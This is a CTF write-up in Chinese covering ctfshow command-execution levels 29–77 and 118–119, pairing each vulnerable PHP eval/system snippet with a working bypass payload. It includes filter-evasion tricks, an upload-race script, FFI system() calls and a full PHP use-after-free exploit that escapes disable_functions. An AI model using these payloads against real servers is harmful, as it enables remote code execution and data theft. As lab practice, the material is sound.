[CTFshow] 命令执行 29-77,118-124

news/2024/11/15 13:44:50/文章来源:https://www.cnblogs.com/sunset2131/p/18416802

web29

简单过滤

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

?c=system('tac fla*');

web30

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

?c=passthru('tac fla*');

web31

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

尝试了使用 ${IFS} $IFS$9 < <> {,} 替换了空格字符,发现无效

  1. 学到了一种新的姿势,传入eval再生成一个get参数,新的参数不会被过滤

    ?c=eval($_GET[x]);&x=system("tac flag.php");

web32


error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

又学到新姿势

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

include$_GET[1]?> , ?> 充当;结束符, PHP 在遇到关闭标签 ?> 时,会自动认为这是语句的结束,即使没有明确的分号

web33

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
} 

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

和上一题一模一样

web34

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

和上一题一模一样

web35

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

通杀

web36


error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

这次过滤了数字,把$_GET的参数改一下就行

?c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php

web37

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c);echo $flag;    }        
}else{highlight_file(__FILE__);
}

伪协议中的data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
?c=data://text/plain,<?php system('tac f*'); ?>

web38

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|php|file/i", $c)){include($c);echo $flag;    }        
}else{highlight_file(__FILE__);
}

尝试了上一题的做法发现不回显,但又不知道哪里被过滤了,这题直接base64编码即可

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTsgPz4=

web39

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c.".php");}        
}else{highlight_file(__FILE__);
}

强加后缀,测试之前的做法

?c=data://text/plain,<?=phpinfo()?> 成功执行,所以无影响

?c=data://text/plain,<?=system('tac f*')?> 获取flag

web40


if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);}}else{highlight_file(__FILE__);
} 

过滤的其实是中文的括号

?c=phpinfo(); phpinfo里面没东西

只能用括号,应该是无参RCE了

参考:https://blog.csdn.net/qq_38154820/article/details/107171940

  1. 读取当前目录,localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."pos()返回数组中的单元,默认取第一个值

    ?c=print_r(scandir(pos(localeconv())));
    // Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php ) 
    

    发现flag在倒数第二个

  2. 反转数组,把flag弄到第二个,array_reverse() 以相反的元素顺序返回数组

    ?c=print_r(array_reverse(scandir(pos(localeconv()))));
    // Array ( [0] => index.php [1] => flag.php [2] => .. [3] => . ) 
    
  3. 获取 flag.php的字符串,next() 将数组中的内部指针向前移动一位

    ?c=print_r(next(array_reverse(scandir(pos(localeconv())))));
    // flag.php
    
  4. 读取flag.php,使用readfile等常规读取文件函数不回显,使用show_source ,高亮显示文件回显文件内容

    ?c=print_r(show_source(next(array_reverse(scandir(pos(localeconv()))))));
    

web41

if(isset($_POST['c'])){$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){eval("echo($c);");}
}else{highlight_file(__FILE__);
}
?>

又他🐎是新东西,无数字字母RCE,取反、异或、自增、临时文件

^字符被过滤了所以是用不了异或,|没有被过滤,则使用或运算

  1. 使用脚本先运行rec_or.php 生成 rec_or.txt后挨个找来构造

    <?php
    $myfile = fopen("rce_or.txt", "w");
    $contents="";
    for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}
    }
    }
    fwrite($myfile,$contents);
    fclose($myfile);
    
  2. 构造payload

    system('ls')(system)('ls')是一样的都可以执行

    要使用或运算构造字符串时应将所有如刚才提到的未知字符1拼接到一起|未知字符2拼接到一起

    system=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60") 其中%13|%60=s %19|%60=y %14|%60=t

    # **payload** 
    ("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")
    

    注意不要使用hackbar来提交,会再进行一次url编码,使用bp提交

    POST / HTTP/1.1
    Host: 
    .....
    c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")
    
  3. 提交后即可得到flag

web42


if(isset($_GET['c'])){$c=$_GET['c'];system($c." >/dev/null 2>&1");
}else{highlight_file(__FILE__);
}

>/dev/null 2>&1 该条shell命令将不会输出任何信息到控制台,也不会有任何信息输出到文件中

使用 || 来绕过,逻辑或(OR)操作,如果第一个命令执行失败(返回非 0 状态码),则执行第二个命令。如果第一个命令成功执行(返回 0 状态码),则不会执行第二个命令。

?c=ls||  // 等于 ls || >/dev/null 2>&1 左边执行成功就不会执行右边的
?c=tac flag.php||

web43


if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

增加了正则 /\;|cat/i ,但不影响和上一题一模一样

?c=ls||
?c=tac flag.php||

web44

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/;|cat|flag/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

正则绕过

?c=tac f*||

web45

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| /i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

正则匹配空格,${IFS} ,$IFS$9,<,<> 代替

?c=tac${IFS}fl*||

web46

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

过滤了*$ ,使用字符串拼接,使用"" or '' 来拼接

ls||
?c=tac<'fl''ag.php'||

web47

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
} 

和上一题一样的payload

?c=tac<'fl''ag.php'||

web48

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
} 

和上一题一样的payload

c=tac<'fl''ag.php'||

web49

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

和上一题一样的payload

?c=tac<'fl''ag.php'||

web50

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

和上一题一样的payload

?c=tac<'fl''ag.php'||

web51

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

不影响payload,修改一下即可

?c=t'a'c<'fl''ag.php'||

web52

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
} 

>< 被过滤了,不过$被放出来了,使用${IFS}

# 发现flag不在当前目录下
?c=t'a'c${IFS}'fl''ag.php'||
# 寻找
## 再根目录下找到flag文件,查看,取得flag
?c=ls${IFS}/||
?c=t'a'c${IFS}/'fl'ag||

web53

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){echo($c);   //会显示payload,输入ls的话看到的文件会混淆$d = system($c);echo "<br>".$d;}else{echo 'no';}
}else{highlight_file(__FILE__);
} 

还是一样

?c=t"a"c${IFS}"fl"ag.php

web54


if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

.*c.*a.*t.*: 匹配任何包含 "cat" 的命令或字符串。.* 表示任意字符,所以不论是否有间隔,都会检测出 cat
? 没有被过滤,在Linux中可以替换单个字符,有个 flag在f12注释掉了

?c=ls //flag.php index.php 
# 解法1
?c=uniq${IFS}f???????
# 解法2
?c=/bin/ca?${IFS}f???????
# 解法3
?c=mv${IFS}f???????${IFS}a.txt
?c=uniq${IFS}a.txt

web55

// 你们在炫技吗?
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
} 

把字母ban了,因为操作的bash,所以使用无字母bashshell操作

?c=$'\154\163' // ls
?c=$'\143\141\164'%20$'\146\154\141\147\56\160\150\160' //cat flag.php

另一种做法

?c=/???/????64 ????.???
// /bin/base64 flag.php

web56

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

过滤了数字字母,$ 也被过滤了,使用临时文件上传

p神的文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

大致思路就是,上传php文件后会临时保存到/tmp/phpxxxxxx命名

然后我们通过 ?c=. /tmp/phpxxxxxx 去访问临时文件, /tmp/phpxxxxxx 里面是cat flag.php 之类的代码

脚本文件:

# -*- coding: utf-8 -*-
import requestsurl = input("请输入URL:") // ctfshow....
catFlag = input("你想执行的命令:") //cat flag.php
flag = input("你想页面回显中有什么?") //flag
if "https" in url:url = url.replace("https", "http") // 替换flag为flag
add = "?c=.+/???/????????[@-[]" //这个就是匹配. /tmp/phpxxxxxx
while True:req = requests.post(url+add,files={"file": ("1.txt",catFlag)}) //上传文件,上传之后会存储在临时文件夹/tmp并以phpxxxxxx命名if flag in req.text: // 假如回显结果存在 flagprint(req.text) // 输出页面内容break

web57

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){system("cat ".$c.".php");}
}else{highlight_file(__FILE__);
} 

使用$(())构造

通过$(())操作构造出36: $(()) :代表做一次运算,因为里面为空,也表示值为0

$(( ~$(()) )) :对0作取反运算,值为-1

$(( $((~$(()))) $((~$(()))) )): -1-1,也就是(-1)+(-1)为-2,所以值为-2

$(( ~$(( $((~$(()))) $((~$(()))) )) )) :再对-2做一次取反得到1,所以值为1

故我们在$(( ~$(( )) ))里面放37个$((~$(()))),得到-37,取反即可得到36:

来自 By j4m13d 师傅

payload:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58

// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
} 

POST,尝试system() ,显示被禁用,尝试readfile 获得flag

c=readfile('flag.php');

web59

// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
} 

readfile被禁用

c=show_source('flag.php');

web60

// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
} 
c=show_source('flag.php');

web61

// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
} 
#1
c=show_source('flag.php');
#2
c=include$_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
#3

web62

// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
} 
#1
c=show_source('flag.php');
#2
c=include$_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web63


// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
} 
#1
c=include$_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
#2
c=show_source('flag.php');

web64

// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);}
#1
c=show_source('flag.php');
#2
c=include$_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web65

不是哥们?怎么一样的

// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);}
#1
c=show_source('flag.php');
#2
c=include$_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web66

不一样了,把show_source给禁用了

// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);}
  1. 再尝试,发现flag不在这里

    
    c=include$_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
    
  2. 使用 scandir检查目录,发现flag.txt

    c=print_r(scandir('../../../'));
    //Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag.txt [7] => home [8] => lib [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var ) 
    
  3. 在使用之前的命令来读取文件

    c=include$_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=../../../flag.txt
    

web67

if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

尝试上一题的方法发现可以

c=print_r(scandir('../../../'));c=include$_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=../../../flag.txt

web68

进门就是提示hightlight_file是用不了

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

尝试根据之前的源码来做

  1. 检查路径,发现flag.txt

    c=print_r(scandir('/')); # 被禁用
    c=var_dump(scandir('/')); # 可执行
    
  2. 读取flag.txt

    c=include$_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=../../../flag.txt
    

web69

老样子进门就是提示hightlight_file是用不了

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

和上一题思路一样

  1. print_rvar_dump 都被禁用

    # 1 因为scandir输出的是数组
    c=echo scandir('/')[6]; //一个一个尝试不过会耗时间
    # 2
    c=var_export(scandir('/')); // 更方便
    
  2. 读取文件

    #1
    c=include$_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=../../../flag.txt
    #2
    c=readgzfile('/flag.txt');
    

web70

进门提示:


Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天吗? 

根据上面的源代码来做

c=var_export(scandir('/')); // 查看目录,发现flag.txt// 读取文件
c=include$_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=../../../flag.txt

web71

输出结果都变成了问号,没见过的,查看wp

提前送出缓冲区或终止程序

$s = ob_get_contents(); // 获取缓冲区ob_end_clean(); // 清楚缓冲区数据并输出echo preg_replace("/[0-9]|[a-z]/i","?",$s); //替换字符

在劫持输出缓冲区之前就把缓冲区送出,可以用的函数有:

ob_flush(); //缓冲区数据输出
ob_end_flush(); //清楚缓冲区数据并输出

payload示例:

c=include('/flag.txt');ob_flush();

使用 exit() die() 中止脚本也可以

web72

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);$s = ob_get_contents();ob_end_clean();echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{highlight_file(__FILE__);
}?>
  1. 使用scandir发现只能查看本目录,上一级目录就不行了,看报错是open_basedir限制了

    c=var_export(scandir('../'));exit();
    //scandir(): open_basedir restriction in effect. File(../) is not within the allowed path(s):
    
  2. 使用 DirectoryIterator+glob:// 来获取根目录文件

    c=$a = new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString().'<br>');};exit();
    

    发现flag0.txt 文件

  3. 用之前的方法查看文件

    c=include('../../../flag0.txt');exit(); // 被 open basedir 限制
    

    使用uaf脚本,ctfshow提供的poc,使用url编码后提交上去即可

    <?php
    function ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf("%c",($ptr & 0xff));$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf("%c",($v & 0xff));$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type  = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) {return $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) {return leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; $contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd);exit();
    }ctfshow("cat /flag0.txt");ob_end_flush();
    ?>
    

web73

没有提供源代码,尝试按照之前的源码来做

  1. 尝试scandir等操作

    c=var_export(scandir('/'));exit();
    // 回显成功 ,发现 flagc.txt
    // array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flagc.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', )
    // 尝试读取
    c=include('/flagc.txt');exit();
    // 获得flag 意外的正常
    

web74

没有提供源代码,尝试按照之前的源码来做

c=var_export(scandir('/'));exit(); //回显NULL
// 尝试其他的读取目录方法
c=$arrFiles = array();$handle = opendir('/');if ($handle) {while (($entry = readdir($handle)) !== FALSE) {$arrFiles[]=$entry;}}closedir($handle);var_export($arrFiles);exit();
// 读取成功,发现flagx.txt
// array ( 0 => 'srv', 1 => 'usr', 2 => 'root', 3 => 'media', 4 => '..', 5 => 'lib', 6 => 'sys', 7 => 'var', 8 => 'opt', 9 => 'proc', 10 => 'home', 11 => 'bin', 12 => 'dev', 13 => 'mnt', 14 => 'run', 15 => 'sbin', 16 => 'tmp', 17 => 'etc', 18 => '.', 19 => 'flagx.txt', 20 => '.dockerenv', )
// 读取
c=include('/flagx.txt');exit();

web75

没有提供源代码,尝试按照之前的源码来做

  1. 尝试上一题获取目录的方法,发现这次设置了open_basedir,使用web72的方法

    c=$a = new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString().'<br>');};exit();
    

    发现flag36.txt

  2. 读取文件,尝试了uaf的脚本,但是发现strlen被禁用了,所以使用不了,include也不行

    看了wp发现还可以使用mysqlload_file

    c=$con = mysqli_connect('127.0.0.1','root','root');$result = mysqli_query($con,"SELECT load_file('/flag36.txt')"); while ($row = mysqli_fetch_assoc($result)){var_export($row);};exit();
    

    获取到flag

web76

没有提供源代码,尝试按照之前的源码来做

  1. 尝试上一题获取目录的方法,发现这次设置了open_basedir,使用web72的方法

    c=$a = new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString().'<br>');};exit();
    

    发现flag36d.txt

  2. 读取文件,尝试了uaf的脚本,但是发现strlen被禁用了,所以使用不了,include也不行

    再尝试上一题的payload

    c=$con = mysqli_connect('127.0.0.1','root','root');$result = mysqli_query($con,"SELECT load_file('/flag36.txt')"); while ($row = mysqli_fetch_assoc($result)){var_export($row);};exit();
    

    获取到flag

web77

没有提供源代码,尝试按照之前的源码来做

  1. 尝试上一题获取目录的方法,发现这次设置了open_basedir,使用web72的方法

    c=$a = new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString().'<br>');};exit();
    

    发现flag36x.txt ,并看到readflag方法

  2. 读取文件,尝试了uaf的脚本,但是发现strlen被禁用了,所以使用不了,include也不行

    再尝试上一题的payload

    提示 mysqli_connect未定义 ,并且去掉exit不是替换成而是把数字字母给替换成了空格

    查看wp发现可以使用FFI拓展

    https://www.laruence.com/2020/03/11/5475.html

  3. 构造

    c=$ffi = FFI::cdef("int system(const char *command);"); 
    $a='/readflag > /var/www/html/1.txt'; 
    $ffi->system($a); 
    exit(); 
    
    • FFI::cdef("int system(const char *command);"): 这行代码使用 FFI::cdef() 声明了 C 语言的 system() 函数,允许 PHP 调用该函数来执行系统命令。
    • $ffi->system($a);: 使用 FFI 调用 system() 函数执行 $a 中的命令。
    • $a = '/readflag > /var/www/html/1.txt';: 这行定义了一个字符串 $a,包含要执行的命令。这个命令会将 readflag 程序的输出重定向到文件 /var/www/html/1.txt

    本来是想尝试 cat /flag36x.txt > /var/www/html/1.txt 的,但是发现不可以 | https://blog.csdn.net/weixin_44700621/article/details/125381763

    传入后再查看当前目录是否存在1.txt

    c=$a = new DirectoryIterator('glob://*');foreach($a as $f){echo($f->__toString().'<br>');};exit();
    // 1.txt flag.php index.php 存在
    
  4. 读取1.txt

    c=include('1.txt');exit();
    

web118

进去是一个输入框

  1. 简单输入一些命令 ls 啥的会提示evil input ,扫描没发现什么有用的,f12 发现 system($code); 应该把字符串传输到system()函数里,题目提示了flag in flag.php

  2. fuzz检测一下过滤了啥

    过滤了小写字母和 `! % ^ & * ( + | [ ] \ ’ ” < > , / ``

  3. 一般payload都是nl flag.txt 之类的,文件名可以用 ????.??? ,前面的cat可以使用bash内置变量来构造

    参考链接:https://www.freebuf.com/articles/web/321865.html

    payload:${PATH:~${#}}${PWD:~${#}}${IFS}????.???

web119

题目给的信息和之前的差不多

  1. 首先进行fuzz

    能用字符就是大写字母和

    还是够我们构造bash内置变量RCE的

  2. 输入之前的payload显示evil input

    应该是什么被过滤了,经过测试发现BASH被过滤了

    那就得使用别的内置变量来构造,其实可以构造/bin/cat flag.php 约等于 /???/?a? ????.???

    # 尝试了/???/?a? ????.???但好像使用了别的命令
    ${PWD::${#?}}???${PWD::${#?}}?${USER:~${#}} ????.???
    # 多构造个t
